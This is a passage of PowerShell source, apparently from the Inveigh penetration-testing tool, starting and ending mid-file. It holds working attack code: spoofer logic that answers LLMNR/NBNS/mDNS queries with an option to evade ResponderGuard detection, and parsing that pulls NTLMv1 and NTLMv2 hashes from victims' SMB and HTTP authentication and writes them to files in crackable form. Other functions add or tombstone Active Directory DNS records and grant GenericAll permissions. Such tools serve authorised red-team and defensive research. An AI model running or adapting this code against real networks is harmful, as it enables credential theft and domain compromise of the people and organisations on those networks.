1)],0) 1663 1664 return $data_length 1665 } 1666 1667 function Get-UInt32DataLength 1668 { 1669 param ([Int]$Start,[Byte[]]$Data) 1670 1671 $data_length = [System.BitConverter]::ToUInt32($Data[$Start..($Start + 3)],0) 1672 1673 return $data_length 1674 } 1675 1676 function Convert-DataToString 1677 { 1678 param ([Int]$Start,[Int]$Length,[Byte[]]$Data) 1679 1680 $string_data = [System.BitConverter]::ToString($Data[$Start..($Start + $Length - 1)]) 1681 $string_data = $string_data -replace "-00","" 1682 $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 1683 $string_extract = New-Object System.String ($string_data,0,$string_data.Length) 1684 1685 return $string_extract 1686 } 1687 1688 function Convert-DataToUInt16($field) 1689 { 1690 [Array]::Reverse($field) 1691 return [System.BitConverter]::ToUInt16($field,0) 1692 } 1693 1694 function Convert-DataToUInt32($field) 1695 { 1696 [Array]::Reverse($field) 1697 return [System.BitConverter]::ToUInt32($field,0) 1698 } 1699 1700 function Get-SpooferResponseMessage 1701 { 1702 param ([String]$QueryString,[String]$Type,[String]$mDNSType,[String]$Enabled,[byte]$NBNSType) 1703 1704 if($QueryString -like "*.*") 1705 { 1706 [Array]$query_split = $QueryString.Split('.') 1707 $query_host = $query_split[0] 1708 } 1709 1710 $response_type = "[+]" 1711 1712 if($Inspect) 1713 { 1714 $response_message = "[inspect only]" 1715 } 1716 elseif($Enabled -eq 'N') 1717 { 1718 $response_message = "[spoofer disabled]" 1719 } 1720 elseif($SpooferHostsReply -and ($SpooferHostsReply -notcontains $QueryString -and $SpooferHostsReply -notcontains $query_host)) 1721 { 1722 $response_message = "[$QueryString not on reply list]" 1723 } 1724 elseif($SpooferHostsIgnore -contains $QueryString -or $SpooferHostsIgnore -contains $query_host) 1725 { 1726 $response_message = "[$QueryString is on ignore list]" 1727 } 1728 elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) 1729 { 1730 $response_message = "[$source_IP not on reply list]" 1731 } 1732 elseif($SpooferIPsIgnore -contains $source_IP) 1733 { 1734 $response_message = "[$source_IP is on ignore list]" 1735 } 1736 elseif($inveigh.valid_host_list -contains $query_string -and ($SpooferHostsReply -notcontains $QueryString -and $SpooferHostsReply -notcontains $query_host)) 1737 { 1738 $response_message = "[$query_string is a valid host]" 1739 } 1740 elseif($SpooferRepeat -eq 'Y' -and $inveigh.IP_capture_list -contains $source_IP.IPAddressToString) 1741 { 1742 $response_message = "[previous $source_IP capture]" 1743 } 1744 elseif($Type -eq 'NBNS' -and $source_IP.IPAddressToString -eq $IP) 1745 { 1746 $response_message = "[local query]" 1747 } 1748 elseif($SpooferLearning -eq 'Y' -or $SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) 1749 { 1750 $response_message = ": " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" 1751 } 1752 elseif($Type -eq 'NBNS' -and $NBNSTypes -notcontains $NBNS_query_type) 1753 { 1754 $response_message = "[NBNS type disabled]" 1755 } 1756 elseif($Type -eq 'NBNS' -and $NBNSType -eq 33) 1757 { 1758 $response_message = "[NBSTAT request]" 1759 } 1760 elseif($EvadeRG -eq 'Y' -and $Type -ne 'mDNS' -and $Type -ne 'DNS' -and $destination_IP.IPAddressToString -eq $IP) 1761 { 1762 $response_message = "[possible ResponderGuard request ignored]" 1763 $response_type = "[!]" 1764 } 1765 elseif($Type -eq 'mDNS' -and $mDNSType -and $mDNSTypes -notcontains $mDNSType) 1766 { 1767 $response_message = "[mDNS type disabled]" 1768 } 1769 elseif($Type -ne 'mDNS' -and $Type -ne 'DNS' -and $SpooferThresholdHost -gt 0 -and @($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -le $SpooferThresholdHost) 1770 { 1771 $response_message = "[SpooferThresholdHost >= $(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count)]" 1772 } 1773 elseif($Type -ne 'mDNS' -and $Type -ne 'DNS' -and $SpooferThresholdNetwork -gt 0 -and @($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count -le $SpooferThresholdNetwork) 1774 { 1775 $response_message = "[SpooferThresholdNetwork >= $(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count)]" 1776 } 1777 elseif($QueryString -match '[^\x00-\x7F]+') 1778 { 1779 $response_message = "[nonprintable characters]" 1780 } 1781 else 1782 { 1783 $response_message = "[response sent]" 1784 } 1785 1786 return $response_type,$response_message 1787 } 1788 1789 function Get-NBNSQueryType([String]$NBNSQueryType) 1790 { 1791 1792 switch ($NBNSQueryType) 1793 { 1794 1795 '41-41' 1796 { 1797 $NBNS_query_type = "00" 1798 } 1799 1800 '41-42' 1801 { 1802 $NBNS_query_type = "01" 1803 } 1804 1805 '41-43' 1806 { 1807 $NBNS_query_type = "02" 1808 } 1809 1810 '41-44' 1811 { 1812 $NBNS_query_type = "03" 1813 } 1814 1815 '43-41' 1816 { 1817 $NBNS_query_type = "20" 1818 } 1819 1820 '42-4C' 1821 { 1822 $NBNS_query_type = "1B" 1823 } 1824 1825 '42-4D' 1826 { 1827 $NBNS_query_type = "1C" 1828 } 1829 1830 '42-4E' 1831 { 1832 $NBNS_query_type = "1D" 1833 } 1834 1835 '42-4F' 1836 { 1837 $NBNS_query_type = "1E" 1838 } 1839 1840 } 1841 1842 return $NBNS_query_type 1843 } 1844 1845 function Get-NameQueryString([Int]$Index, [Byte[]]$NameQuery) 1846 { 1847 $segment_length = $NameQuery[12] 1848 1849 if($segment_length -gt 0) 1850 { 1851 $i = 0 1852 $name_query_string = '' 1853 1854 do 1855 { 1856 $name_query_string += [System.Text.Encoding]::UTF8.GetString($NameQuery[($Index + 1)..($Index + $segment_length)]) 1857 $Index += $segment_length + 1 1858 $segment_length = $NameQuery[$Index] 1859 $i++ 1860 1861 if($segment_length -gt 0) 1862 { 1863 $name_query_string += "." 1864 } 1865 1866 } 1867 until($segment_length -eq 0 -or $i -eq 127) 1868 1869 } 1870 1871 return $name_query_string 1872 } 1873 1874 function ConvertFrom-PacketOrderedDictionary 1875 { 1876 param($packet_ordered_dictionary) 1877 1878 foreach($field in $packet_ordered_dictionary.Values) 1879 { 1880 $byte_array += $field 1881 } 1882 1883 return $byte_array 1884 } 1885 1886 function New-RelayEnumObject 1887 { 1888 param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped, 1889 $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute) 1890 1891 if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} 1892 if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} 1893 if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} 1894 if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} 1895 if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} 1896 if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} 1897 if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} 1898 if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} 1899 1900 $relay_object = New-Object PSObject 1901 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerate.Count 1902 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP 1903 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname 1904 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions 1905 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers 1906 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups 1907 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged 1908 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares 1909 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions 1910 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped 1911 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers 1912 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 1913 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing 1914 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer 1915 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted 1916 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumeration 1917 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execution 1918 1919 return $relay_object 1920 } 1921 1922 function Invoke-SessionUpdate 1923 { 1924 param ([String]$domain,[String]$username,[String]$hostname,[String]$IP) 1925 1926 if($inveigh.domain_mapping_table.$domain) 1927 { 1928 $session = ($username + "@" + $inveigh.domain_mapping_table.$domain).ToUpper() 1929 $hostname_full = ($hostname + "." + $inveigh.domain_mapping_table.$domain).ToUpper() 1930 } 1931 else 1932 { 1933 $session = $domain + "\" + $username 1934 } 1935 1936 for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) 1937 { 1938 1939 if($inveigh.enumerate[$i].Hostname -eq $hostname_full -or $inveigh.enumerate[$i].IP -eq $IP) 1940 { 1941 1942 if(!$inveigh.enumerate[$i].Hostname) 1943 { 1944 $inveigh.enumerate[$target_index].Hostname = $hostname_full 1945 } 1946 1947 [Array]$session_list = $inveigh.enumerate[$i].Sessions 1948 1949 if($inveigh.domain_mapping_table.$domain) 1950 { 1951 1952 for($j = 0;$j -lt $session_list.Count;$j++) 1953 { 1954 1955 if($session_list[$j] -like "$domain\*") 1956 { 1957 $session_username = ($session_list[$j].Split("\"))[1] 1958 $session_update = $session_username + "@" + $inveigh.domain_mapping_table.$domain 1959 $session_list[$j] += $session_update 1960 $inveigh.enumerate[$i].Sessions = $session_list 1961 } 1962 1963 } 1964 1965 } 1966 1967 if($session_list -notcontains $session) 1968 { 1969 $session_list += $session 1970 $inveigh.enumerate[$i].Sessions = $session_list 1971 } 1972 1973 $target_updated = $true 1974 break 1975 } 1976 1977 } 1978 1979 if(!$target_updated) 1980 { 1981 $inveigh.enumerate.Add((New-RelayEnumObject -IP $IP -Hostname $hostname_full -Sessions $session)) > $null 1982 } 1983 1984 } 1985 1986 1987 1988 } 1989 1990 # NTLM_functions_scriptblock 1991 $NTLM_functions_scriptblock = 1992 { 1993 1994 function Get-NTLMResponse 1995 { 1996 param ([Byte[]]$Payload,[String]$Capture,[String]$SourceIP,[String]$SourcePort,[String]$Port,[String]$Protocol) 1997 1998 $payload_converted = [System.BitConverter]::ToString($Payload) 1999 $payload_converted = $payload_converted -replace "-","" 2000 $NTLMSSP_hex_offset = $payload_converted.IndexOf("4E544C4D53535000") 2001 $session = "$SourceIP`:$SourcePort" 2002 2003 if($NTLMSSP_hex_offset -ge 0 -and $payload_converted.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") 2004 { 2005 $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 2006 $LM_length = Get-UInt16DataLength ($NTLMSSP_offset + 12) $Payload 2007 $LM_offset = Get-UInt32DataLength ($NTLMSSP_offset + 16) $Payload 2008 $LM_response = [System.BitConverter]::ToString($Payload[($NTLMSSP_offset + $LM_offset)..($NTLMSSP_offset + $LM_offset + $LM_length - 1)]) -replace "-","" 2009 $NTLM_length = Get-UInt16DataLength ($NTLMSSP_offset + 20) $Payload 2010 $NTLM_offset = Get-UInt32DataLength ($NTLMSSP_offset + 24) $Payload 2011 $NTLM_response = [System.BitConverter]::ToString($Payload[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" 2012 $domain_length = Get-UInt16DataLength ($NTLMSSP_offset + 28) $Payload 2013 $domain_offset = Get-UInt32DataLength ($NTLMSSP_offset + 32) $Payload 2014 2015 if($domain_length -gt 0) 2016 { 2017 $NTLM_domain_string = Convert-DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $Payload 2018 } 2019 2020 $user_length = Get-UInt16DataLength ($NTLMSSP_offset + 36) $Payload 2021 $user_offset = Get-UInt32DataLength ($NTLMSSP_offset + 40) $Payload 2022 $NTLM_user_string = Convert-DataToString ($NTLMSSP_offset + $user_offset) $user_length $Payload 2023 $host_length = Get-UInt16DataLength ($NTLMSSP_offset + 44) $Payload 2024 $host_offset = Get-UInt32DataLength ($NTLMSSP_offset + 48) $Payload 2025 $NTLM_host_string = Convert-DataToString ($NTLMSSP_offset + $host_offset) $host_length $Payload 2026 2027 if($Protocol -eq "SMB") 2028 { 2029 $NTLM_challenge = $inveigh.SMB_session_table.$session 2030 } 2031 else 2032 { 2033 $NTLM_challenge = $inveigh.HTTP_session_table.$session 2034 } 2035 2036 if($NTLM_length -gt 24) 2037 { 2038 2039 if($NTLM_challenge) 2040 { 2041 2042 $NTLMv2_response = $NTLM_response.Insert(32,':') 2043 $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response 2044 2045 if($Capture -eq 'Y') 2046 { 2047 2048 if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$'))) 2049 { 2050 $inveigh.NTLMv2_list.Add($NTLMv2_hash) > $null 2051 2052 if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")) 2053 { 2054 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:") > $null 2055 $inveigh.output_queue.Add($NTLMv2_hash) > $null 2056 } 2057 else 2058 { 2059 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[not unique]") > $null 2060 } 2061 2062 if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string"))) 2063 { 2064 $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) > $null 2065 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 written to " + "Inveigh-NTLMv2.txt") > $null 2066 } 2067 2068 if($inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string") 2069 { 2070 $inveigh.NTLMv2_username_list.Add("$SourceIP $NTLM_domain_string\$NTLM_user_string") > $null 2071 } 2072 2073 if($inveigh.IP_capture_list -notcontains $SourceIP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $SourceIP -ne $IP) 2074 { 2075 $inveigh.IP_capture_list.Add($SourceIP) > $null 2076 } 2077 2078 } 2079 else 2080 { 2081 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[machine account]") > $null 2082 } 2083 2084 } 2085 else 2086 { 2087 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[capture disabled]") > $null 2088 } 2089 2090 } 2091 else 2092 { 2093 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 challenge missing for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort") > $null 2094 } 2095 2096 } 2097 elseif($NTLM_length -eq 24) 2098 { 2099 2100 if($NTLM_challenge) 2101 { 2102 2103 $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge 2104 2105 if($Capture -eq 'Y') 2106 { 2107 2108 if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$'))) 2109 { 2110 $inveigh.NTLMv1_list.Add($NTLMv1_hash) > $null 2111 2112 if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")) 2113 { 2114 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) NTLMv1 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:") > $null 2115 $inveigh.output_queue.Add($NTLMv1_hash) > $null 2116 } 2117 else 2118 { 2119 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) NTLMv1 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[not unique]") > $null 2120 } 2121 2122 if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string"))) 2123 { 2124 $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) > $null 2125 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB($Port) NTLMv1 written to " + "Inveigh-NTLMv1.txt") > $null 2126 } 2127 2128 if($inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string") 2129 { 2130 $inveigh.NTLMv1_username_list.Add("$SourceIP $NTLM_domain_string\$NTLM_user_string") > $null 2131 } 2132 2133 if($inveigh.IP_capture_list -notcontains $SourceIP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $SourceIP -ne $IP) 2134 { 2135 $inveigh.IP_capture_list.Add($SourceIP) > $null 2136 } 2137 2138 } 2139 else 2140 { 2141 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv1 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[machine account]") > $null 2142 } 2143 2144 } 2145 else 2146 { 2147 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv1 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[capture disabled]") > $null 2148 } 2149 2150 } 2151 else 2152 { 2153 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $Protocol($Port) NTLMv1 challenge missing for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort") > $null 2154 } 2155 2156 } 2157 elseif($NTLM_length -eq 0) 2158 { 2159 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLM null response from $SourceIP($NTLM_host_string)`:$SourcePort") > $null 2160 } 2161 2162 Invoke-SessionUpdate $NTLM_domain_string $NTLM_user_string $NTLM_host_string $source_IP 2163 } 2164 2165 } 2166 2167 } 2168 2169 # ADIDNS Functions ScriptBlock 2170 $ADIDNS_functions_scriptblock = 2171 { 2172 2173 function Disable-ADIDNSNode 2174 { 2175 2176 [CmdletBinding()] 2177 param 2178 ( 2179 [parameter(Mandatory=$false)][String]$Domain, 2180 [parameter(Mandatory=$false)][String]$DomainController, 2181 [parameter(Mandatory=$true)][String]$Node, 2182 [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", 2183 [parameter(Mandatory=$false)][String]$Zone, 2184 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential 2185 ) 2186 2187 $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone 2188 2189 $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" 2190 $DC_array = $Domain.Split(".") 2191 2192 foreach($DC in $DC_array) 2193 { 2194 $distinguished_name += ",DC=$DC" 2195 } 2196 2197 if($Credential) 2198 { 2199 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) 2200 } 2201 else 2202 { 2203 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" 2204 } 2205 2206 $timestamp = [Int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) 2207 $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) 2208 $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} 2209 2210 [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + 2211 $SOASerialNumberArray[0..3] + 2212 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + 2213 $timestamp 2214 2215 try 2216 { 2217 $directory_entry.InvokeSet('dnsRecord',$DNS_record) 2218 $directory_entry.InvokeSet('dnsTombstoned',$true) 2219 $directory_entry.SetInfo() 2220 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS node $Node tombstoned in $Zone") > $null 2221 } 2222 catch 2223 { 2224 $error_message = $_.Exception.Message 2225 $error_message = $error_message -replace "`n","" 2226 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 2227 } 2228 2229 if($directory_entry.Path) 2230 { 2231 $directory_entry.Close() 2232 } 2233 2234 } 2235 2236 function Enable-ADIDNSNode 2237 { 2238 2239 [CmdletBinding()] 2240 param 2241 ( 2242 [parameter(Mandatory=$false)][String]$Data, 2243 [parameter(Mandatory=$false)][String]$DistinguishedName, 2244 [parameter(Mandatory=$false)][String]$Domain, 2245 [parameter(Mandatory=$false)][String]$DomainController, 2246 [parameter(Mandatory=$true)][String]$Node, 2247 [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", 2248 [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", 2249 [parameter(Mandatory=$false)][String]$Zone, 2250 [parameter(Mandatory=$false)][Byte[]]$DNSRecord, 2251 [parameter(Mandatory=$false)][Int]$Preference, 2252 [parameter(Mandatory=$false)][Int]$Priority, 2253 [parameter(Mandatory=$false)][Int]$Weight, 2254 [parameter(Mandatory=$false)][Int]$Port, 2255 [parameter(Mandatory=$false)][Int]$TTL = 600, 2256 [parameter(Mandatory=$false)][Int32]$SOASerialNumber, 2257 [parameter(Mandatory=$false)][Switch]$Static, 2258 [parameter(Mandatory=$false)][Switch]$Tombstone, 2259 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential 2260 ) 2261 2262 $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" 2263 $DC_array = $Domain.Split(".") 2264 2265 foreach($DC in $DC_array) 2266 { 2267 $distinguished_name += ",DC=$DC" 2268 } 2269 2270 [Byte[]]$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Type $Type -TTL $TTL -Zone $Zone 2271 2272 if($Credential) 2273 { 2274 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) 2275 } 2276 else 2277 { 2278 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" 2279 } 2280 2281 try 2282 { 2283 $directory_entry.InvokeSet('dnsRecord',$DNSRecord) 2284 $directory_entry.SetInfo() 2285 $success = $true 2286 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added to $Zone") > $null; 2287 $inveigh.ADIDNS_table.$Node = "1" 2288 } 2289 catch 2290 { 2291 $success = $false 2292 $error_message = $_.Exception.Message 2293 $error_message = $error_message -replace "`n","" 2294 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 2295 $inveigh.ADIDNS_table.$Node = "0" 2296 } 2297 2298 if($directory_entry.Path) 2299 { 2300 $directory_entry.Close() 2301 } 2302 2303 return $success 2304 } 2305 2306 function Get-ADIDNSNodeTombstoned 2307 { 2308 2309 [CmdletBinding()] 2310 param 2311 ( 2312 [parameter(Mandatory=$false)][String]$DistinguishedName, 2313 [parameter(Mandatory=$false)][String]$Domain, 2314 [parameter(Mandatory=$false)][String]$DomainController, 2315 [parameter(Mandatory=$true)][String]$Node, 2316 [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", 2317 [parameter(Mandatory=$false)][String]$Zone, 2318 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential 2319 ) 2320 2321 $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" 2322 $DC_array = $Domain.Split(".") 2323 2324 foreach($DC in $DC_array) 2325 { 2326 $distinguished_name += ",DC=$DC" 2327 } 2328 2329 if($Credential) 2330 { 2331 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) 2332 } 2333 else 2334 { 2335 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" 2336 } 2337 2338 try 2339 { 2340 $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned') 2341 $dnsRecord = $directory_entry.InvokeGet('dnsRecord') 2342 } 2343 catch 2344 { 2345 2346 if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and 2347 $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*') 2348 { 2349 $error_message = $_.Exception.Message 2350 $error_message = $error_message -replace "`n","" 2351 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 2352 } 2353 2354 } 2355 2356 if($directory_entry.Path) 2357 { 2358 $directory_entry.Close() 2359 } 2360 2361 $node_tombstoned = $false 2362 2363 if($dnsTombstoned -and $dnsRecord) 2364 { 2365 2366 if($dnsRecord[0].GetType().name -eq [Byte]) 2367 { 2368 2369 if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0) 2370 { 2371 $node_tombstoned = $true 2372 } 2373 2374 } 2375 2376 } 2377 2378 return $node_tombstoned 2379 } 2380 2381 function Grant-ADIDNSPermission 2382 { 2383 [CmdletBinding()] 2384 param 2385 ( 2386 [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", 2387 "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", 2388 "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", 2389 [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", 2390 [parameter(Mandatory=$false)][String]$DistinguishedName, 2391 [parameter(Mandatory=$false)][String]$Domain, 2392 [parameter(Mandatory=$false)][String]$DomainController, 2393 [parameter(Mandatory=$false)][String]$Node, 2394 [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", 2395 [parameter(Mandatory=$false)][String]$Principal, 2396 [parameter(Mandatory=$false)][String]$Zone, 2397 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, 2398 [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter 2399 ) 2400 2401 if($Partition -eq 'System') 2402 { 2403 $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" 2404 } 2405 else 2406 { 2407 $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" 2408 } 2409 2410 $DC_array = $Domain.Split(".") 2411 2412 ForEach($DC in $DC_array) 2413 { 2414 $distinguished_name += ",DC=$DC" 2415 } 2416 2417 if($Credential) 2418 { 2419 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) 2420 } 2421 else 2422 { 2423 $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" 2424 } 2425 2426 try 2427 { 2428 $NT_account = New-Object System.Security.Principal.NTAccount($Principal) 2429 $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) 2430 $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID 2431 $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access 2432 $access_control_type = [System.Security.AccessControl.AccessControlType]$Type 2433 $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" 2434 $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) 2435 } 2436 catch 2437 { 2438 $error_message = $_.Exception.Message 2439 $error_message = $error_message -replace "`n","" 2440 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message 